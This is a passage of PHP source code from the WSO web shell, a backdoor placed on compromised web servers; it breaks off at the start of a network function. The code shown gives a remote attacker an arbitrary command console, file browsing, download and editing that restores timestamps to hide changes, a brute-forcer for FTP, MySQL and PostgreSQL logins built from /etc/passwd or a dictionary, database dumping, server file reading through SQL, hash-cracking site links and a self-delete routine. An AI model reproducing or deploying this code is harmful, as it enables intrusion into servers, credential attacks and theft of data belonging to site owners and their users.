echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(function_exists("get_magic_quotes_gpc") && !empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo '<h1>String conversions</h1><div class=content>';
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function wsoRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
} else {
if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
</form></div>";
wsoFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}
function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove() {
$namefile = basename(__FILE__);
if(preg_match("/\.php/", $namefile)){
preg_match("#(.*)\.php#", $namefile, $namefile2);
$namefile = $namefile2[1].'.php';
}elseif(preg_match("/\.php5/", $namefile)){
preg_match("#(.*)\.php5#", $namefile, $namefile2);
$namefile = $namefile2[1].'.php5';
}elseif(preg_match("/\.php7/", $namefile)){
preg_match("#(.*)\.php7#", $namefile, $namefile2);
$namefile = $namefile2[1].'.php7';
}elseif(preg_match("/\.phtml/", $namefile)){
preg_match("#(.*)\.phtml#", $namefile, $namefile2);
$namefile = $namefile2[1].'.phtml';
}
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', $namefile)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
wsoFooter();
}
function actionBruteforce() {
wsoHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
wsoFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$i = 0;
$head = true;
while($item = $this->fetch()) {
$sql = '';
if($i % 1000 == 0) {
$head = true;
$sql = ";
";
}
$columns = array();
foreach($item as $k=>$v) {
if($v === null)
$item[$k] = "NULL";
elseif(is_int($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql .= "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
$i++;
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
wsoHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
function actionNetwork() {
wsoHeader();
